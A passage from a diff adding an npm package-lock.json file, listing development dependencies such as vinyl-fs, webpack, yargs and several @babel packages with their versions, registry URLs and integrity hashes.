+ "resolved": "https://registry.npmjs.org/value-or-function/-/value-or-function-3.0.0.tgz",
+ "integrity": "sha512-jdBB2FrWvQC/pnPtIqcLsMaQgjhdb6B7tk1MMyTKapox+tQZbdRP4uLxu/JY0t7fbfDCUMnuelzEYv5GsxHhdg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/vinyl": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/vinyl/-/vinyl-2.2.1.tgz",
+ "integrity": "sha512-LII3bXRFBZLlezoG5FfZVcXflZgWP/4dCwKtxd5ky9+LOtM4CS3bIRQsmR1KMnMW07jpE8fqR2lcxPZ+8sJIcw==",
+ "dev": true,
+ "dependencies": {
+ "clone": "^2.1.1",
+ "clone-buffer": "^1.0.0",
+ "clone-stats": "^1.0.0",
+ "cloneable-readable": "^1.0.0",
+ "remove-trailing-separator": "^1.0.1",
+ "replace-ext": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/vinyl-fs": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/vinyl-fs/-/vinyl-fs-3.0.3.tgz",
+ "integrity": "sha512-vIu34EkyNyJxmP0jscNzWBSygh7VWhqun6RmqVfXePrOwi9lhvRs//dOaGOTRUQr4tx7/zd26Tk5WeSVZitgng==",
+ "dev": true,
+ "dependencies": {
+ "fs-mkdirp-stream": "^1.0.0",
+ "glob-stream": "^6.1.0",
+ "graceful-fs": "^4.0.0",
+ "is-valid-glob": "^1.0.0",
+ "lazystream": "^1.0.0",
+ "lead": "^1.0.0",
+ "object.assign": "^4.0.4",
+ "pumpify": "^1.3.5",
+ "readable-stream": "^2.3.3",
+ "remove-bom-buffer": "^3.0.0",
+ "remove-bom-stream": "^1.2.0",
+ "resolve-options": "^1.1.0",
+ "through2": "^2.0.0",
+ "to-through": "^2.0.0",
+ "value-or-function": "^3.0.0",
+ "vinyl": "^2.0.0",
+ "vinyl-sourcemap": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/vinyl-fs/node_modules/through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ },
+ "node_modules/vinyl-sourcemap": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/vinyl-sourcemap/-/vinyl-sourcemap-1.1.0.tgz",
+ "integrity": "sha512-NiibMgt6VJGJmyw7vtzhctDcfKch4e4n9TBeoWlirb7FMg9/1Ov9k+A5ZRAtywBpRPiyECvQRQllYM8dECegVA==",
+ "dev": true,
+ "dependencies": {
+ "append-buffer": "^1.0.2",
+ "convert-source-map": "^1.5.0",
+ "graceful-fs": "^4.1.6",
+ "normalize-path": "^2.1.1",
+ "now-and-later": "^2.0.0",
+ "remove-bom-buffer": "^3.0.0",
+ "vinyl": "^2.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/vinyl-sourcemap/node_modules/normalize-path": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+ "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+ "dev": true,
+ "dependencies": {
+ "remove-trailing-separator": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/vinyl-sourcemaps-apply": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/vinyl-sourcemaps-apply/-/vinyl-sourcemaps-apply-0.2.1.tgz",
+ "integrity": "sha512-+oDh3KYZBoZC8hfocrbrxbLUeaYtQK7J5WU5Br9VqWqmCll3tFJqKp97GC9GmMsVIL0qnx2DgEDVxdo5EZ5sSw==",
+ "dev": true,
+ "dependencies": {
+ "source-map": "^0.5.1"
+ }
+ },
+ "node_modules/vinyl-sourcemaps-apply/node_modules/source-map": {
+ "version": "0.5.7",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
+ "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/vinyl/node_modules/replace-ext": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-1.0.1.tgz",
+ "integrity": "sha512-yD5BHCe7quCgBph4rMQ+0KkIRKwWCrHDOX1p1Gp6HwjPM5kVoCdKGNhN7ydqqsX6lJEnQDKZ/tFMiEdQ1dvPEw==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/w3c-hr-time": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
+ "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
+ "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.",
+ "dev": true,
+ "dependencies": {
+ "browser-process-hrtime": "^1.0.0"
+ }
+ },
+ "node_modules/w3c-xmlserializer": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz",
+ "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==",
+ "dev": true,
+ "dependencies": {
+ "xml-name-validator": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/watchpack": {
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz",
+ "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "glob-to-regexp": "^0.4.1",
+ "graceful-fs": "^4.1.2"
+ },
+ "engines": {
+ "node": ">=10.13.0"
+ }
+ },
+ "node_modules/webidl-conversions": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
+ "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==",
+ "dev": true,
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/webpack": {
+ "version": "5.88.2",
+ "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.88.2.tgz",
+ "integrity": "sha512-JmcgNZ1iKj+aiR0OvTYtWQqJwq37Pf683dY9bVORwVbUrDhLhdn/PlO2sHsFHPkj7sHNQF3JwaAkp49V+Sq1tQ==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@types/eslint-scope": "^3.7.3",
+ "@types/estree": "^1.0.0",
+ "@webassemblyjs/ast": "^1.11.5",
+ "@webassemblyjs/wasm-edit": "^1.11.5",
+ "@webassemblyjs/wasm-parser": "^1.11.5",
+ "acorn": "^8.7.1",
+ "acorn-import-assertions": "^1.9.0",
+ "browserslist": "^4.14.5",
+ "chrome-trace-event": "^1.0.2",
+ "enhanced-resolve": "^5.15.0",
+ "es-module-lexer": "^1.2.1",
+ "eslint-scope": "5.1.1",
+ "events": "^3.2.0",
+ "glob-to-regexp": "^0.4.1",
+ "graceful-fs": "^4.2.9",
+ "json-parse-even-better-errors": "^2.3.1",
+ "loader-runner": "^4.2.0",
+ "mime-types": "^2.1.27",
+ "neo-async": "^2.6.2",
+ "schema-utils": "^3.2.0",
+ "tapable": "^2.1.1",
+ "terser-webpack-plugin": "^5.3.7",
+ "watchpack": "^2.4.0",
+ "webpack-sources": "^3.2.3"
+ },
+ "bin": {
+ "webpack": "bin/webpack.js"
+ },
+ "engines": {
+ "node": ">=10.13.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/webpack"
+ },
+ "peerDependenciesMeta": {
+ "webpack-cli": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/webpack-sources": {
+ "version": "3.2.3",
+ "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz",
+ "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==",
+ "dev": true,
+ "peer": true,
+ "engines": {
+ "node": ">=10.13.0"
+ }
+ },
+ "node_modules/webpack-stream": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/webpack-stream/-/webpack-stream-7.0.0.tgz",
+ "integrity": "sha512-XoAQTHyCaYMo6TS7Atv1HYhtmBgKiVLONJbzLBl2V3eibXQ2IT/MCRM841RW/r3vToKD5ivrTJFWgd/ghoxoRg==",
+ "dev": true,
+ "dependencies": {
+ "fancy-log": "^1.3.3",
+ "lodash.clone": "^4.3.2",
+ "lodash.some": "^4.2.2",
+ "memory-fs": "^0.5.0",
+ "plugin-error": "^1.0.1",
+ "supports-color": "^8.1.1",
+ "through": "^2.3.8",
+ "vinyl": "^2.2.1"
+ },
+ "engines": {
+ "node": ">= 10.0.0"
+ },
+ "peerDependencies": {
+ "webpack": "^5.21.2"
+ }
+ },
+ "node_modules/webpack-stream/node_modules/supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/supports-color?sponsor=1"
+ }
+ },
+ "node_modules/webpack/node_modules/eslint-scope": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+ "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "esrecurse": "^4.3.0",
+ "estraverse": "^4.1.1"
+ },
+ "engines": {
+ "node": ">=8.0.0"
+ }
+ },
+ "node_modules/webpack/node_modules/estraverse": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+ "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+ "dev": true,
+ "peer": true,
+ "engines": {
+ "node": ">=4.0"
+ }
+ },
+ "node_modules/whatwg-encoding": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz",
+ "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==",
+ "dev": true,
+ "dependencies": {
+ "iconv-lite": "0.6.3"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/whatwg-mimetype": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz",
+ "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/whatwg-url": {
+ "version": "10.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz",
+ "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==",
+ "dev": true,
+ "dependencies": {
+ "tr46": "^3.0.0",
+ "webidl-conversions": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/which": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+ "dev": true,
+ "dependencies": {
+ "isexe": "^2.0.0"
+ },
+ "bin": {
+ "node-which": "bin/node-which"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/which-module": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz",
+ "integrity": "sha512-F6+WgncZi/mJDrammbTuHe1q0R5hOXv/mBaiNA2TCNT/LTHusX0V+CJnj9XT8ki5ln2UZyyddDgHfCzyrOH7MQ==",
+ "dev": true
+ },
+ "node_modules/workerpool": {
+ "version": "6.1.5",
+ "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.1.5.tgz",
+ "integrity": "sha512-XdKkCK0Zqc6w3iTxLckiuJ81tiD/o5rBE/m+nXpRCB+/Sq4DqkfXZ/x0jW02DG1tGsfUGXbTJyZDP+eu67haSw==",
+ "dev": true
+ },
+ "node_modules/wrap-ansi": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+ "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+ "dev": true,
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+ }
+ },
+ "node_modules/wrappy": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+ "dev": true
+ },
+ "node_modules/write-file-atomic": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
+ "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
+ "dev": true,
+ "dependencies": {
+ "imurmurhash": "^0.1.4",
+ "is-typedarray": "^1.0.0",
+ "signal-exit": "^3.0.2",
+ "typedarray-to-buffer": "^3.1.5"
+ }
+ },
+ "node_modules/ws": {
+ "version": "8.13.0",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz",
+ "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==",
+ "dev": true,
+ "engines": {
+ "node": ">=10.0.0"
+ },
+ "peerDependencies": {
+ "bufferutil": "^4.0.1",
+ "utf-8-validate": ">=5.0.2"
+ },
+ "peerDependenciesMeta": {
+ "bufferutil": {
+ "optional": true
+ },
+ "utf-8-validate": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/xml-name-validator": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz",
+ "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==",
+ "dev": true,
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/xmlchars": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
+ "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
+ "dev": true
+ },
+ "node_modules/xmlcreate": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-2.0.4.tgz",
+ "integrity": "sha512-nquOebG4sngPmGPICTS5EnxqhKbCmz5Ox5hsszI2T6U5qdrJizBc+0ilYSEjTSzU0yZcmvppztXe/5Al5fUwdg==",
+ "dev": true
+ },
+ "node_modules/xtend": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
+ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.4"
+ }
+ },
+ "node_modules/y18n": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+ "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/yallist": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
+ "dev": true
+ },
+ "node_modules/yaml": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.1.tgz",
+ "integrity": "sha512-2eHWfjaoXgTBC2jNM1LRef62VQa0umtvRiDSk6HSzW7RvS5YtkabJrwYLLEKWBc8a5U2PTSCs+dJjUTJdlHsWQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 14"
+ }
+ },
+ "node_modules/yargs": {
+ "version": "17.2.1",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.2.1.tgz",
+ "integrity": "sha512-XfR8du6ua4K6uLGm5S6fA+FIJom/MdJcFNVY8geLlp2v8GYbOXD4EB1tPNZsRn4vBzKGMgb5DRZMeWuFc2GO8Q==",
+ "dev": true,
+ "dependencies": {
+ "cliui": "^7.0.2",
+ "escalade": "^3.1.1",
+ "get-caller-file": "^2.0.5",
+ "require-directory": "^2.1.1",
+ "string-width": "^4.2.0",
+ "y18n": "^5.0.5",
+ "yargs-parser": "^20.2.2"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/yargs-parser": {
+ "version": "20.2.4",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz",
+ "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/yargs-unparser": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz",
+ "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==",
+ "dev": true,
+ "dependencies": {
+ "camelcase": "^6.0.0",
+ "decamelize": "^4.0.0",
+ "flat": "^5.0.2",
+ "is-plain-obj": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/yargs-unparser/node_modules/camelcase": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+ "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/yargs-unparser/node_modules/decamelize": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz",
+ "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/yazl": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/yazl/-/yazl-2.5.1.tgz",
+ "integrity": "sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==",
+ "dev": true,
+ "dependencies": {
+ "buffer-crc32": "~0.2.3"
+ }
+ },
+ "node_modules/yocto-queue": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
+ "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ }
+ },
+ "dependencies": {
+ "@aashutoshrathi/word-wrap": {
+ "version": "1.2.6",
+ "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz",
+ "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==",
+ "dev": true
+ },
+ "@alloc/quick-lru": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
+ "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
+ "dev": true
+ },
+ "@ampproject/remapping": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz",
+ "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==",
+ "dev": true,
+ "requires": {
+ "@jridgewell/gen-mapping": "^0.3.0",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ }
+ },
+ "@babel/code-frame": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.5.tgz",
+ "integrity": "sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.22.5"
+ }
+ },
+ "@babel/compat-data": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.9.tgz",
+ "integrity": "sha512-5UamI7xkUcJ3i9qVDS+KFDEK8/7oJ55/sJMB1Ge7IEapr7KfdfV/HErR+koZwOfd+SgtFKOKRhRakdg++DcJpQ==",
+ "dev": true
+ },
+ "@babel/core": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.9.tgz",
+ "integrity": "sha512-G2EgeufBcYw27U4hhoIwFcgc1XU7TlXJ3mv04oOv1WCuo900U/anZSPzEqNjwdjgffkk2Gs0AN0dW1CKVLcG7w==",
+ "dev": true,
+ "requires": {
+ "@ampproject/remapping": "^2.2.0",
+ "@babel/code-frame": "^7.22.5",
+ "@babel/generator": "^7.22.9",
+ "@babel/helper-compilation-targets": "^7.22.9",
+ "@babel/helper-module-transforms": "^7.22.9",
+ "@babel/helpers": "^7.22.6",
+ "@babel/parser": "^7.22.7",
+ "@babel/template": "^7.22.5",
+ "@babel/traverse": "^7.22.8",
+ "@babel/types": "^7.22.5",
+ "convert-source-map": "^1.7.0",
+ "debug": "^4.1.0",
+ "gensync": "^1.0.0-beta.2",
+ "json5": "^2.2.2",
+ "semver": "^6.3.1"
+ }
+ },
+ "@babel/generator": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.9.tgz",
+ "integrity": "sha512-KtLMbmicyuK2Ak/FTCJVbDnkN1SlT8/kceFTiuDiiRUUSMnHMidxSCdG4ndkTOHHpoomWe/4xkvHkEOncwjYIw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5",
+ "@jridgewell/gen-mapping": "^0.3.2",
+ "@jridgewell/trace-mapping": "^0.3.17",
+ "jsesc": "^2.5.1"
+ }
+ },
+ "@babel/helper-annotate-as-pure": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz",
+ "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-builder-binary-assignment-operator-visitor": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.5.tgz",
+ "integrity": "sha512-m1EP3lVOPptR+2DwD125gziZNcmoNSHGmJROKoy87loWUQyJaVXDgpmruWqDARZSmtYQ+Dl25okU8+qhVzuykw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-compilation-targets": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.9.tgz",
+ "integrity": "sha512-7qYrNM6HjpnPHJbopxmb8hSPoZ0gsX8IvUS32JGVoy+pU9e5N0nLr1VjJoR6kA4d9dmGLxNYOjeB8sUDal2WMw==",
+ "dev": true,
+ "requires": {
+ "@babel/compat-data": "^7.22.9",
+ "@babel/helper-validator-option": "^7.22.5",
+ "browserslist": "^4.21.9",
+ "lru-cache": "^5.1.1",
+ "semver": "^6.3.1"
+ }
+ },
+ "@babel/helper-create-class-features-plugin": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.9.tgz",
+ "integrity": "sha512-Pwyi89uO4YrGKxL/eNJ8lfEH55DnRloGPOseaA8NFNL6jAUnn+KccaISiFazCj5IolPPDjGSdzQzXVzODVRqUQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-annotate-as-pure": "^7.22.5",
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/helper-member-expression-to-functions": "^7.22.5",
+ "@babel/helper-optimise-call-expression": "^7.22.5",
+ "@babel/helper-replace-supers": "^7.22.9",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
+ "@babel/helper-split-export-declaration": "^7.22.6",
+ "semver": "^6.3.1"
+ }
+ },
+ "@babel/helper-create-regexp-features-plugin": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.9.tgz",
+ "integrity": "sha512-+svjVa/tFwsNSG4NEy1h85+HQ5imbT92Q5/bgtS7P0GTQlP8WuFdqsiABmQouhiFGyV66oGxZFpeYHza1rNsKw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-annotate-as-pure": "^7.22.5",
+ "regexpu-core": "^5.3.1",
+ "semver": "^6.3.1"
+ }
+ },
+ "@babel/helper-define-polyfill-provider": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.4.tgz",
